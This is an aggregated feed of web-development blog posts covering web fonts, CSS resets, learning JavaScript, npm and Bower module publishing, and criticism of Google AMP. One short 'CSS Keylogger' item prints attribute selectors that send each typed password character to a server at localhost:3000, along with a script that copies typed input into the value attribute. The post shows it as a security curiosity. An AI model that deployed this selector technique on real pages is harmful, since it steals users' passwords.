But the core principles and mechanisms are no more complicated than they were a decade or even two decades ago. If anything, they’re easier to grasp now, because we don’t have to clutter our minds with float behaviors or inline layout just to try to lay out a page.

Swinging it back to developers innovating on their own tools for a moment, another consideration is the impact of site builders on our industry. I'll always recommend a site builder app in the right circumstances. Does your photography business need a portfolio site? Your bakery a homepage? Your custom scarf site a blog and eCommerce site? Assuming this is a sub-$10,000 job, I'd rather see you use a specialized site builder product than hire out the job to anyone who is going to build something entirely custom. I don't wanna go too far down that rabbit hole, but suffice it to say, because I'm not alone in that thinking, the market for low-end custom design and development work is rather gone.

There are more developers these days working on in-house teams or agencies with big-ticket clients. That is, more and more developers on large-scope, long-scale, highly-complex jobs. So that's where their minds are at. Big complicated problems with big complicated solutions. That's what gets talked about. That's what gets blogged about. That's what gets argued about. That's the topic at a lot of conferences I've been to.

While you certainly can make a soup-of-the-day website with an index.html file and FTP, blog posts about that are fewer and farther between and don't get as many claps.

Shout out to Dave Rupert, my friend and ShopTalk Show co-host, who's been pushing back against complexity in all its forms for as long as I’ve known him. I'm still trying to catch up.

Complexity is a post from CSS-Tricks

Understanding Web Fonts and Getting the Most Out of Them

Css Tricks - Fri, 02/23/2018 - 4:42am

Thierry Blancpain is a brand and interaction designer at Informal Inquiry in New York City and co-founder of Grilli Type, a Swiss type foundry. While this article is generally applicable to all web fonts, Grilli Type fonts are used throughout as examples of the concepts, particularly those demonstrating OpenType features.

Using your own fonts instead of system fonts is getting easier, but it’s still an evolving field. We’ll go over the different types of font formats and cover tips and best practices for them in this post. We’ll also dive into more in-depth features for those of you who want to level up and aim to perfect the craft with advanced concepts and considerations when using web fonts. In the end, you’ll hopefully feel equipped not only to put web fonts to use but to get the most out of them.

Here we go!

Font Formats

When you purchase web fonts licensing, you receive a package of font files that typically include at least some of the following formats:

  • Embedded OpenType (EOT): EOT is a legacy format developed by Microsoft. Older Internet Explorer versions require EOT to render your web fonts. EOT is often served uncompressed so, if you don’t require browser support of the likes of IE8 or below, then you’re better off leaving it out.
  • TrueType (TTF): TTF is a font format developed by Microsoft and Apple in the 1980s. Modern TTF files are also called TrueType OpenType fonts. TTF can be useful for extending support to some older browsers, especially on mobile, if you need it.
  • Web Open Font Format (WOFF): WOFF was developed in 2009 as a wrapper format for TrueType and OpenType fonts. It compresses the files and is supported by all modern browsers.
  • Web Open Font Format 2 (WOFF2): WOFF2 is an update to the original WOFF format. Developed by Google, this is considered the best format of the bunch because it offers smaller file sizes and better performance for modern browsers that support it.

If you are mostly targeting users with modern browsers, you can get away with a progressive method of using @font-face that only serves WOFF and WOFF2 formats. These offer the best compression and allow you to deal with fewer files in your code. And if a user’s machine is so old that it doesn’t support either of these formats, it may be better to just serve them a system font for performance reasons, anyway.

If you want to expand support as wide as possible, then add EOT and TTF files to the mix. SVG fonts have also been traditionally used for expanding browser support but, at Grilli Type, we don’t offer SVG fonts anymore as they bring with them a number of downsides. Google Chrome for example has even completely removed support for the format.

Embedding Web Fonts

We make use of @font-face to include fonts in CSS.

Here’s the deepest level of support, including all of the font file formats we’ve discussed so far:

@font-face { font-family: FontName; src: url('path/filename.eot'); src: url('path/filename.eot?#iefix') format('embedded-opentype'), url('path/filename.woff2') format('woff2'), url('path/filename.woff') format('woff'), url('path/filename.ttf') format('truetype'); }

We can trim things down quite a bit if we're only aiming to support modern browsers:

@font-face { font-family: FontName; src: url('path/filename.woff2') format('woff2'), url('path/filename.woff') format('woff'); }

Once the font has been declared and defined, we can put it to use on our elements. For example:

body { font-family: 'FontName', Helvetica, Arial, sans-serif; } Hosting Web Fonts

One of the most flexible ways to load web fonts is to self-host them. That means that you host the files on your own server and your fonts will always be available when a visitor comes to your website without a third-party dependency. Neither tracking codes nor JavaScript is generally required to load self-hosted font files. Many small type foundries offer fonts as a direct download so they can be self-hosted and at Grilli Type, we are convinced it’s the best way to serve fonts.

While some type foundries offer self-hosting (both with and without cumbersome restrictions and requirements), others only offer hosted solutions, meaning they host the files on your behalf. Some of the well-known ones include Hoefler & Co., Font Bureau, and Typotheque. Font Bureau and Typotheque offer their fonts in both ways at different price points.

Make sure you know how a type foundry’s web fonts are offered before you buy licensing, because the difference in hosting and the terms of use can affect how they are implemented. Get what makes the most sense for you and fits your needs, and make sure you’re using them legally and according to the foundry’s licensing agreement.

Advanced Typographic Features

Let’s take a look at some of the more advanced features of web fonts.

Spacing and Kerning

There are two settings inside font files that define the space between characters:

  1. letter-spacing: This is defined as side bearings on the left and right side of each character
  2. font-kerning: This refers to specific adjustments between two characters

Spacing cannot be turned off at all, because otherwise the text rendering engine (your browser) wouldn’t know what to do with these letters. Kerning, on the other hand, is turned off by default in browsers and has to be turned on by you in your CSS.

Comparing type with kerning enabled and disabled.

It’s easier to control kerning than you might think! Here’s how to activate it across all browsers that support it:

p { font-feature-settings: "kern" 1; font-kerning: normal; }

If you don’t use a something like Autoprefixer to help manage browser support in CSS, then you’ll want to manually write out the browser vendor prefixes for this setting to extend browser support to older versions:

/* All vendor prefixes for `font-feature-settings` */ p { -moz-font-feature-settings: "kern" 1; -ms-font-feature-settings: "kern" 1; -o-font-feature-settings: "kern" 1; -webkit-font-feature-settings: "kern" 1; font-feature-settings: "kern" 1; font-kerning: normal; } Advanced OpenType Features

We just discussed how to use the font-feature-settings attribute to control kerning, but it can also be used to control other available OpenType feature in your web fonts. The number of supported features has been growing over time and the CSS-Tricks almanac is a good place to reference what is possible with OpenType.

OpenType features are really exciting because they open up a bunch of possibilities for controlling fonts without having to serve multiple files to get the same effect. At the same time, it’s worth noting that the features an OpenType font file supports is up to the font designer and that not all fonts support the same features.

To illustrate how advanced OpenType features can be chained together, the following code would turn on the numeric characters of an OpenType-enabled font that supports both old-style numerals (onum) and proportional numerals (pnum), plus enable kerning and activate a specific stylistic set included in the font:

.my-element { font-feature-settings: "onum" 1, "pnum" 1, "kern" 1, "ss01" 1; } Type with and without the activated OpenType features in the code example.

The font-feature-settings attribute can be used to activate stylistic alternates, discretionary ligatures, different types of figures available in a font, small caps, and other handy things. Typofonderie has a nice overview of these advanced features, including examples.

Because font-feature-settings is used to set many OpenType features at once, it’s not possible to define a single setting differently as the other choices will not be inherited. All of the features would need to be defined again to change the settings for child elements.

Letting Spacing and Word Spacing

CSS has long supported the letter-spacing and word-spacing attributes. When used correctly, both provide a fair amount of control over two very important aspects of how your type will look.

As with all things typography, you’ll want to learn how to evaluate different options both functionally and visually and make decisions based on your impression. Different contexts may call for different spacing needs.

At smaller sizes, most typefaces will benefit from a little extra spacing between characters and words. In larger contexts, like headings, typefaces may benefit from more narrow spacing. In either case, the right decisions require attention and your best judgment based on the outcomes.

I’ve found that letter-spacing and word-spacing both work best using em units for the values. That allows the spacing to adjust fluidly based on the font size of the element they are applied to. The following example will give your content a little more room to breathe at smaller font sizes:

p { font-size: 12px; letter-spacing: 0.015em; word-spacing: 0.001em; } Comparing the difference with letter and word spacing turned on and off. Font Rendering

Using type on screens brings up important questions about how they are rendered. Fonts are usually designed on about a 1000 units tall grid—or even larger—but then are displayed at something like a 16px font size. In an interplay between device, screen, and software, this reduction in resolution and fidelity requires some smarts to make small type legible and good-looking. Again, be observant, test in many browsers, and use your best judgment to put the best methods to use to increase legibility.

Hinting

Every operating system treats fonts differently from one another. In MacOS, the smarts are in the operating system (and thus can evolve over time), while the fonts themselves can be dumb. Historically, on Windows, the smarts were supposed to be included in the font software, and the system was supposed to use those smarts to decide how a font should be rendered at different sizes.

Those smarts are called hinting. Hinting information embedded in the font files can tell a computer that the two stems of an “H” character are supposed to have the same line width, or that the space above and below the crossbar should stay about equal at smaller sizes.

Hinting is a very complex and complicated topic, but the important takeaway is that the same font at the same size might render differently, even on the same computer depending on many factors, including the screen, the browser, and even the font and background color.

Microsoft provides a guide on the topic of hinting. Even though it was initially released in 1997, it’s still a good read because it so thoroughly explores the topic.

Font Smoothing

While hinting information included in the font files is mostly being ignored on MacOS, specific browsers offer some additional control over font rendering.

p { -webkit-font-smoothing: antialiased; /* Chrome, Safari */ -moz-osx-font-smoothing: grayscale; /* Firefox */ }

Using these CSS properties leads to sharper, thinner text rendering on MacOS and iOS. But beware: this can also lead to rendering problems, especially if you’re already using a thin font or font weight.

Both antialiased and grayscale are mainly useful to balance the rendering of fonts when using light text on dark backgrounds, as they would otherwise get rendered quite a bit bolder.

The font-smoothing property and its values are not on the path to become a standard CSS feature, so use it with caution and perhaps only in contexts where you know you need to target a specific browser and context.

Caution: OptimizeLegibility

We often come across this attribute when troubleshooting font usage on Grilli Type customer websites:

p { text-rendering: optimizeLegibility; }

Among other things, it activates kerning. That was very useful at some point, but is not needed anymore (as shown above). In addition to kerning, it also activates all kinds of ligatures, including extravagant ones that may be present in the font files.

Although there are some use cases for this, do not use this feature if you don’t know exactly what you’re doing with it. Chance are you don’t need it in the first place.

Web Font Resources

If you’re ready to dive deeper into web fonts, here are a handful of recommended resources you can use to learn more:

  • Clagnut’s OpenType CSS Sandbox by Richard Rutter: A great place to test out OpenType features and easily put together your required CSS code.
  • Webfont Handbook by Bram Stein: This is the most in-depth e-book you can possibly read on web fonts, font rendering, and font performance.
  • Copy Paste Character: This is a great website that allows you to access pretty much any special character you might ever use.
  • Using @font-face by CSS-Tricks: This article includes snippets for declaring web fonts based on varying browser support.
Advanced Web Font Considerations

For those who are ready to level up to more advanced techniques, here are even more considerations to take into account:

Uploading Licensed Fonts to Github

If you commit a project to a public repo and use font files that you have licensed, please make sure that either the fonts or the directory that contains them is included in your .gitignore file so that they do not get uploaded. This will prevent others from taking and using your font files, and it can prevent you from breaking any terms of use for licensed fonts that usually have usage and sharing restrictions.

.DS_Store path/to/web/fonts/folder/* Font Loading Tactics

Loading web fonts can be as easy as simply using @font-face but that doesn’t necessarily offer the best possible performance. For example, it opens up the possibility of a Flash Of Unstyled Text (FOUT) which might be considered poor UX in some cases. Zach Leat’s “A Comprehensive Guide to Font Loading Strategies” covers that and methods to improve the loading experience that will make you and your users very happy.

Base64-Encoded Font Files

In some rare instances, encoding your fonts as base64 inside your CSS will be a good idea but, generally, it is not—and, not to mention, you might break your font’s licensing agreement in the process. Be sure to proceed with a lot of caution and read up on your font’s terms of use when considering base64.

CSS Text Decoration

The W3C is working on a draft for new controls for text decoration, mainly dealing with how to make underlining text better and easier in CSS. This is not yet usable across all browsers, but have a look!

Variable Fonts

In 2017, the OpenType fonts specification 1.8.2 was released, allowing for what is called Variable Fonts. This new version of OpenType will allow for the inclusion of multiple font styles into a single font file, reducing server requests and web font file sizes. Depending on the type designer’s choices, it may also allow for the use of arbitrary weights in between existing weights and widths of fonts, among other things. Axis Praxis is a good website to play around with some existing test fonts – you will need a recent version of Safari or Chrome to do so, though.

Wrapping Up

We covered a lot in this article! Hopefully now you have a good understanding of the different font files out there, how to work with them, and all the amazing and powerful ways fonts can be styled using both tried and true methods and cutting-edge features.

Understanding Web Fonts and Getting the Most Out of Them is a post from CSS-Tricks

modern-normalize

Css Tricks - Thu, 02/22/2018 - 12:26pm

Another don't call it a reset from Sindre Sorhus. It's a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I'm good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you're interested in some of the history and thinking behind these things, I wrote about that not long ago. Daniel Box made a little tool to compare them and I forked it to include modern-normalize.

Direct Link to ArticlePermalink

modern-normalize is a post from CSS-Tricks

CSS Keylogger

Css Tricks - Thu, 02/22/2018 - 12:26pm

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) });

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

Direct Link to ArticlePermalink

CSS Keylogger is a post from CSS-Tricks

Variable Order

Css Tricks - Thu, 02/22/2018 - 5:25am

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It's a combination of inline CSS custom properties, the order property, and calc().

This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they've sorted the table when they haven't. Rachel Andrew pointed out that it's actually one of the rare things the spec itself tells you not to do:

Authors must use order only for visual, not logical, reordering of content. Style sheets that use order to perform logical reordering are non-conforming.

As a connoisseur of fine CSS trickery, I applaud the idea. In production, still a job for JavaScript. And about that order property? Is it always a bad idea to use? Amelia Bellamy-Royds has a post with a pretty good use case. And Adrian Roselli's HTML Source Order vs CSS Display Order covers the struggle.

Direct Link to ArticlePermalink

Variable Order is a post from CSS-Tricks

Some Things I Recommend

Css Tricks - Thu, 02/22/2018 - 5:12am

Howdy. I'm taking this week's "Sponsored Post" to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I'm happy going on the record endorsing.

  • PixelSnap: A macOS Toolbar app for getting pixel dimensions from anywhere on the screen. Way handier than trying to use ?-?-4 for that.
  • An Introduction to Gutenberg by Joe Casabona: We just had a ShopTalk episode about how Gutenburg (a new editor) is coming to WordPress. There is certainly stuff to learn, and this is a course you can take to do that learning.
  • React for Beginners: Speaking of learning, this Wes Bos course will get you up to speed with React. Wes has loads of other great courses as well, like on Redux, Node, ES6, and CSS Grid.
  • Learn UI Design: Learn how to design effective user interfaces with Erik Kennedy.
  • Club GreenSock: The best animation framework out there. Once you're a member, you get access to use stuff like the MorphSVG plugin and their new GSDevTools.
  • Amazon List: I made a little storefront of some items I love and use all the time.
  • WP DB Migrate Pro: I think this is my favorite WordPress plugin. I like to work on my WordPress sites locally, and I always want a fresh copy of the database from production so I'm designing and developing around reality. This makes it a push-button affair.
  • Jetpack: I'm also a fan of all the things Jetpack does for my WordPress site. It kinda seems like a big scary monolithic plugin, and in a sense it is, but you can easily flip features on and off as you need them. I should do a whole post on what I use, but for starters, Markdown-everywhere, social media posting, commenting improvements, handling subscriptions, increased security, and actually-good related posts.

Some Things I Recommend is a post from CSS-Tricks

Write A UX Proposal: How-To Guide

Usability Geek - Wed, 02/21/2018 - 12:18pm
User Experience design is big business, and there is money to be made. In fact, Andrew Kucheriavy reports in Forbes that on average, the return on investment for user experience is 9,900%. In...
Categories: Web Standards

The JavaScript Learning Landscape in 2018

Css Tricks - Wed, 02/21/2018 - 4:15am

Raise your hand if this sounds like you:

You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, "It’s time for something new, for the next step in your career. You need to learn programming."

Yep, same here.

I’ve served in a variety of roles in the tech industry for close to a decade. I’ve written a bunch of articles on design, coding, HTML, and CSS. Hell, I’ve even written a few books and spoken at conferences around the world. But there’s still that voice that keeps telling me I need to tackle programming; that I’ll never be fulfilled until I learn how to develop my own ideas and projects from scratch. Being a web guy, the obvious language to learn: JavaScript.

Like a lot of people, though, I’m intimidated by the current JavaScript landscape. With the constant influx of new tools, techniques, and frameworks, it’s hard to figure out where and what to start learning. Still, I need to start somewhere. So I thought a review of learning resources and tools would be a good first step.

The Burden of Information

How about this, does this sound familiar, too?

You’ve attempted to learn programming before with a few different languages. You’ve read books, you’ve subscribed to online courses, and you have a bunch of folders littering Dropbox with half-completed code and copied exercises.

Samesies.

I’ve gotten halfway through The Rails Tutorial and Learn Python The Hard Way. My bookshelf is full of massive tomes on everything from ActionScript to Processing. But nothing ever seems to stick.

I can figure out what a PHP file does and understand a bit of jQuery, but if you asked me to sit down and write the most basic of programs, I’d be hard-pressed to do it. After so many failures, I think I’ve figured out the problem.

Any time I start learning something new, I immerse myself as fully as possible in that topic. I buy books, I watch videos, and I listen to podcasts. It’s the same tactic that a lot of companies push as the best way to learn a new topic, whether it’s programming, cooking, or picking up Mandarin in a weekend. Immersion is a key part of learning, apparently.

But the problem is that people (or at least me) have a threshold for how much information they can process before feeling overwhelmed. I call it the "burden of information." Information is wonderful, but too much of it weighs down the mind, leaving you burnt out and hopeless, and leading you to give up and feel like a failure.

I don’t want this attempt to be like all the others. I know that I need to immerse myself in JavaScript but I don’t want sink into the quicksand of the JS world only to suffocate myself. So I decided to review the JavaScript learning landscape and pick out a few resources—but not too many—that I can use to finally scratch the programming itch.

I broke resources out into four categories, based around the different ways that I like to learn (and I suspect others like to learn, too). Those categories are: reading, watching, listening, and, most importantly, doing.

Here’s what I found.

Reading

My favorite way to learn new things is by reading about them. While that mostly means books, I also love filling up my RSS feed with good blogs and my inbox with great newsletters.

Books

Fortunately for me, there are a ton of acclaimed books about JavaScript. Here are some of the most recommended:

When I was attempting to learn Python, my favorite resource was Zed Shaw’s Learn Python The Hard Way. It was a no-BS approach to learning by actually coding. While he has a similar book about JavaScript in the works, it’s not available yet.

The closest I could come to it was Eloquent JavaScript by Marijn Haverbeke. From what I’ve heard, it’s a wonderful introduction to JavaScript and, looking at the contents, it appears to follow a similar approach as Zed’s Hard Way books: starting off with the nuts and bolts of the language and progressively getting more challenging as more advanced concepts and projects are introduced.

All of the other books in my list look excellent but most seem a bit too advanced for where I am right now. The two exceptions are Jon Duckett’s JavaScript and jQuery and Mat Marguis’ JavaScript for Web Designers. I loved Jon’s book on HTML and CSS but don’t feel like the visual approach used in his books will work for more complex topics (at least for me). And Mat’s book looks like it addresses my use case perfectly but seems like it won’t be in-depth enough for longer term learning. Still, as I have most of the other A Book Apart books, I’ll probably supplement Eloquent JavaScript with JavaScript for Web Designers.

I’m sure there are a ton of other fantastic books on JavaScript out there, but those will have to wait until after I finish my chosen book. Remember, I want good information, but not too much of it right away.

Blogs

Holy crap, there are a ton of blogs out there on JavaScript. It actually makes figuring out which ones are good kind of tricky. I’m open to any suggestions you might have (leave them in the comments!) about who I should follow, but my initial take is that these are a good place to start:

There are a bunch more that I came across but most seem too complex at this point in my learning. Or others belong to individuals that talk mostly about their own projects and less about the basics or the process of learning. I’ve bookmarked all of them, though, to dig into once I’m more up-to-speed.

Newsletters

I’m an unabashed lover of HTML newsletters, as evidenced by my previous writing on the subject. So, naturally, I hunted down a couple to subscribe to:

But I get the sense that there are more out there that I just couldn’t find. I mean, there’s a newsletter for damned near any topic. With JavaScript being so popular, there have to be more than the two newsletters I found above. If you have any tips, send them my way via the comments below.

Watching

Another good way to learn is by watching others do the thing you want to do. But this is almost always secondary to me reading to learn. Still, when I get stuck on a topic or want to dig deeper into certain aspects of coding, watching videos will be a good way to do it.

For the most part, there are two categories of videos online: courses and standalone videos (mostly on YouTube). There are a ton of options for both, but these are the best from what I can tell:

I’ve heard amazing things about Wes Bos’ courses, so I’m going to dig into those at some point. The same goes for both The Coding Train and Fun Fun Function. But again, I don’t want to be overwhelmed, so I’m planning on setting all of those aside for after I work my way through *Eloquent JavaScript*.

Listening

Podcasts are an excellent way to learn about concepts and immerse yourself in a particular culture without needing to be actively tied to a screen. Basically a good way to keep learning while I get the dishes done or pick up after my kids.

But, like with email newsletters, I found it difficult to track down good JavaScript podcasts. Looking around, it seems like there are a ton out there but most are inactive and outdated. I came up with the list below but I’m hoping that y’all can point out a few more to add to my podcasts feed.

Doing

The last, and arguably most important, part of learning JavaScript is the actual doing part: writing code, getting it to work, and repeating.

Like I mentioned at the beginning, I’ve been writing HTML and CSS (and playing around with other technologies) for years, so I’m a bit biased on some of my tools. I mostly work with Sublime Text on my Mac, so I plan on sticking to that for writing code locally. But, as I’ve been working more on my iPad Pro lately, I’d like to augment Sublime Text with a few additional tools for writing and testing code while I’m learning.

The main one will be CodePen. I’ve been a Pro subscriber for a while and find that it’s tremendously useful for writing code no matter what platform I’m using. Since it works in the browser, it’s easy to pop open a pen on my iPad while I’m hanging out at the coffee shop and have a full-fledged JS development environment ready to go. It also has a few features that I’m sure will come in handy at some point: private pens and collections for when I want to keep embarrassing code secret, projects for when I want to work on more substantial stuff and have it hosted somewhere without any pain, and collaboration mode for if I ever need to tap some friends to help me out with some tricky code in realtime.

I looked at other tools like JSFiddle and JSBin, but I’m comfortable in CodePen and their features are killer, so I’m sticking with it.

One other online tool that I plan on using at some point is Glitch. It's a relatively new tool for writing code and sharing it online and has a wonderfully eclectic community that’s built up around it. While I think most of my coding will be done in CodePen or locally in Sublime Text, I think Glitch will be vital when it comes time to learn about more complex things like interacting with APIs, making weird bots, and testing out some of those scary frameworks.

My Learning Plan

So, taking into account all of the resources above, here’s what I’m planning on doing to learn the basics of JavaScript over the next few months:

  • Work through Eloquent JavaScript
  • Code locally in Sublime Text but primarily online with CodePen
  • Keep up with news via the blogs, newsletters, and podcasts I found
  • Dive into JavaScript 30 and ES6 for Everyone after I’m done with Eloquent JavaScript
  • Start working through the videos and books listed above after I’m done with Wes Bos’ tutorials
  • Build some (hopefully) cool stuff in the process

One of the most important aspects of learning, though, is getting feedback on what you’re actually doing. For that, I’m going to be calling on a few friends and anyone reading this who wants to pitch in.

I’ve set up a new collection on CodePen to house my JavaScript projects throughout the learning process. I’ll keep that collection public so that anyone can see what I’m doing, fork examples, and school me on the best way to do things. If that sounds like your bag, then follow along on CodePen.

Finally, if you have any other resources or strong opinions on the ones I’ve listed above, let me know in the comments below. I’m sure a lot of you have been through a similar learning process and have some amazing tips you can share. I’d love to hear from you, so drop some knowledge right here on CSS-Tricks or email me.

The JavaScript Learning Landscape in 2018 is a post from CSS-Tricks

5 Ways To Integrate Motion Into Web Design

Usability Geek - Tue, 02/20/2018 - 1:22pm
The first animated movie created in 1906 was a revolutionary step forward in storytelling. Every year, the technology behind motion in storytelling grows more impressive, and the same will remain...
Categories: Web Standards

Gotchas When Publishing Modules in npm and Bower

Css Tricks - Tue, 02/20/2018 - 4:21am

Bower and npm are de-facto the package managers of the web. I doubt there are many front-end developers out there who haven’t heard of them or used them to manage dependencies.

Whilst many of us use them as consumers, one day you might decide to share a project of your own and become a contributor! This happened to me recently. I had the experience of publishing my open-source library on npm and Bower.

Although their official docs were quite good, I still ended up struggling with three little known gotchas. I won’t focus on the basics in this post. You can always find and read about them. I’ll instead focus on the gotchas.

Nowadays, it looks like even Bower tells people not to use Bower. However, in 2018, there are still many projects that depend on it. The state of JavaScript in 2017 survey shows that around 24% of surveyed developers still use Bower as a package manager. Therefore, I think it might take a little while before we see the end of Bower, which means it's probably still worth supporting it to cover legacy-package-managed projects. I feel the pain of those of you working on a legacy project—that’s why I chose to publish my open source module there, too.

My hope is that after this you’ll be one step ahead when you decide to share your code with the world. Without any further ado, here are some gotchas I've come across when managing packages.

Removing a Package From npm

Why bother spending hours choosing a name, when you can focus on shipping the features first? In my first experience with npm, I was unfortunate to leave the name of my project "test-something."

Guess what? A few days later, I found out that the un-publish option in the npm public registry is only allowed with versions published in the last 24 hours. If you are trying to un-publish a version published more than a day ago then you must contact support.

They state that it is generally considered bad practice to delete a library that other people depend on. I understand that but I’m 100% sure that no projects depend on a package called "test something."

I was about to leave things alone, but my test package was going to be visible forever in my shiny npm user profile. Dislike!

I contacted support and they handled my request within the very same day. They still didn’t want to completely un-publish it but they did transfer it to the @npm user account and deprecated it with a deprecation note. This removed it from my profile (woohoo!) and from the search results. However, if someone knows the exact URL (or name) they can still install it. While that's not totally ideal, the deprecation note will still be an alert that the package is no longer supported.

I think this might be related to the 11 lines of code, that Azer Koçulu deleted from npm and which kind of broke the internet for a moment. Safety first.

The moral of the story: make sure to choose your package name wisely!

Exporting Modules

Another gotcha I encountered was how to export my module. I wanted to do it in a universal way so that anyone can import it to the browser in any of the three most popular approaches. For example...

...with ES6:

// If a transpiler is configured (like webpack, Babel, Traceur Compiler or Rollup): import MyModule from 'my-module';

...with CommonJS:

// If a module loader is configured (like RequireJS, Browserify or Neuter): const MyModule = require('my-module');

...or by referencing the script file in the HTML:

<script ="/node_modules/my-module/index.js"></script>

What I was actually looking for is the Universal Module Definition pattern. It's a pattern that provides a clean way to expose your module to different environments that consume modules in a variety of ways.

This pattern has a couple of variations, depending on what you really need. However, modules written this way are capable of working everywhere, be it in the client, on the server or elsewhere.

The standard pattern is:

(function (root, factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['dependency'], factory); } else if (typeof module === 'object' && module.exports) { // Node. Does not work with strict CommonJS, but // only CommonJS-like environments that support module.exports, // like Node. module.exports = factory(require('dependency')); } else { // Browser globals (root is window) root.returnExports = factory(root.dependency); } }(this, function (dependency) { // Use dependency in some fashion. return { // Your module goes here }; }));

If you're using Grunt, Gulp or webpack, you'll find that there is a plugin that can wrap your modules like this for you. Plus, it's in the core of webpack already!

Managing Distribution Files

This one was really tricky.

I am building a package for npm and Bower. I followed the pattern to keep the working files (ES6) in the src/ package directory and build my distribution files (ES5, compiled with Babel) in the dist/ directory.

I ignore the entire dist/ folder in the .gitignore file. You know the drill: source control should only contain source. If it's generated from the source, it doesn't belong there—it should be generated by your build process instead.

On the one hand (npm), I have a .npmignore which does exactly the opposite and ignores src/ instead of dist/. On npm, I only want my distribution files. That works out perfectly well.

On the other hand (Bower), the dist/ folder is missing in the repository and, therefore, the Bower package doesn't include it. You see, Bower tracks your publicly available Git endpoint only. By pushing Git tags you release a new version on the Bower registry. Yes, it can ignore files, but they are related only to the files in your repository.

So, how can I publish the ignored by git dist/ folder contents on Bower?

I'm not sure it's possible to do. The only workaround I found is to commit the distribution files in the repository. If you really want to keep those distribution files out of the repo, the trick is to commit them right before you release a tag. Release a tag. Remove them.

There is one more use case that gives me some peace of mind. Imagine somebody downloads a ZIP of your repository and drops it into their project. They won’t need your fancy build step. The production source is already there. All right, maybe that’s not so bad after all.

Wrapping Up

Both npm and Bower continue to be widely used and helpful ways to manage project dependencies, even if Bower is bowing out. While they're great at what they do, being the owner and a contributor to a package listed in either package directory presents some challenges for us and I hope the ones I've outlined here help save other some time and possible headache.

Do you know any other ways to handle the gotchas covered here? Or have stumbled into gotchas of your own? Let me know in the comments!

Gotchas When Publishing Modules in npm and Bower is a post from CSS-Tricks

Linkbait 37

QuirksBlog - Tue, 02/20/2018 - 1:46am

We are an equal opportunity linkbait. Last week we bashed Facebook; this week we bash Google.

  • Tim Kadlec on AMP — again.

    The web community has stated over and over again that we’re not comfortable with Google incentivizing the use of AMP with search engine carrots. In response, Google has provided yet another search engine carrot for AMP.
    This wouldn’t bother me if AMP was open about what it is: a tool for folks to optimize their search engine placement. But of course, that’s not the claim. The claim is that AMP is “for the open web.”

    The fact that Google tries to use our ideology is one thing. The fact that we continue to fall for it is quite another.

    Why a subset of HTML you ask? Well, mostly because web developers suck at their jobs and have loaded the web with a ton of JavaScript no one wants. Can't fault Google for wanting to change that. That part I can support. The less JavaScript the better.

    And here we’re back smack bang in the middle of the problem. Today’s average web developer doesn’t have the faintest clue what he’s doing and can’t do it anyway without sixteen libraries and frameworks. Solve that problem and AMP goes away.
    (Masculine pronoun used deliberately, and if there were a white pronoun I’d also have used it. I more and more think that frameworks and libraries are the things mediocre white men need to survive in today’s front-end world.)
  • It’s useful to post a repeat link to an older The Register article that calls for killing AMP before it kills us.

    Except that, hilariously, to create an AMP page you have to load a, wait for it, yes a JavaScript file from Google. Pinboard founder Maciej Ceg?owski already recreated the Google AMP demo page without the Google AMP JavaScript and, unsurprisingly, it's faster than Google's version.

    and

    If we reject AMP, AMP dies.

    In order to reject AMP we need to tone down significantly on the frameworks. Could happen, but right now it’s not happening.
  • Ferdy Christiant agrees with the performance findings. He studied AMP’s performance profile (supposedly its biggest advantage) and found that his test AMP page is not noticeably faster than a regular web page. Also, he found that AMP is effectively preloading assets for a better perceived performance. If your goal is to improve perceived performance, this is a clever idea. Ferdy adds, however, that this gives Google, owner of the world’s most important search, an unfair advantage, especially since it does not run this preloading trick on non-AMP pages, while I suppose it could if it wanted to.
  • Luke Stevens feels Google is forking the web. This is reinforced by the news that AMP will now get a JavaScript component as well; something that was purposely omitted so far. But it will of course be a special type of JavaScript that (only?) offers simple DOM methods that are ’sanitized” by the AMP app itself.
    In other words, a subset of JavaScript that will (surprise!) turn out to be not enough for AMP developers, who will either demand more and thus import the web’s performance problems to AMP, or leave AMP altogether, which leads to a win for the web.
    In any case, it makes it less and less clear what AMP is supposed to be a solution to. And people have tried and failed to fork the web so often that I am not terribly worried right now.
  • Mike Monteiro calls for some sort of licensing for designers. This is an interesting idea, but from experience with attempting the same on the front-end side I’ll warn him it’s an uphill battle. On the other hand, my attempt was more than ten years ago, and meanwhile the world has changed.
    While discussing this article I had an idea: how would designers and back-end developers feel about front-end certification? Would they think it’s a good idea?
    Designers who agree with Mike should ask themselves something similar: would developers care? Possibly, I’d say.
  • Patterns for writing manageable CSS without a framework. Simple, solid, sensible advice for managing your CSS. From a purely visual standpoint you can achieve the same by using a CSS framework, but

    My preference for manually writing layout styles is to reduce dependencies, write less-complicated markup (not littered with wrappers and generic class names), and retain the greatest control possible. By writing my own layout system, I can make exceptions for certain cases without relying on “overrides”. When there are edge cases, exceptions can be easily made without hideous hacks upon CSS written by someone else.

    Makes sense.
  • Turns out Mozilla created a JSON feed for browser compatibility data. Interesting idea; I toyed with it ages ago but was too lazy busy to actually implement it.
    As far as I know, except for individual MDN pages, there is no interface yet where you can easily access the information (yeah, I know I could write one myself, but time constraints, and my profound lack of experience with GitHub).
    Still, excellent idea, as long as the data is valid. I occasionally have beef with MDN data, and I also think they do not cover enough browsers. UC and Opera Mini, for instance, are missing. World wide web, remember?
    (Via Jens Grochtdreis)
  • A very neat trick: CSS-only sortable tables. Say again? CSS only? Yup.
    How? By clever use of CSS variables. Read and make your head explode with possibilities.
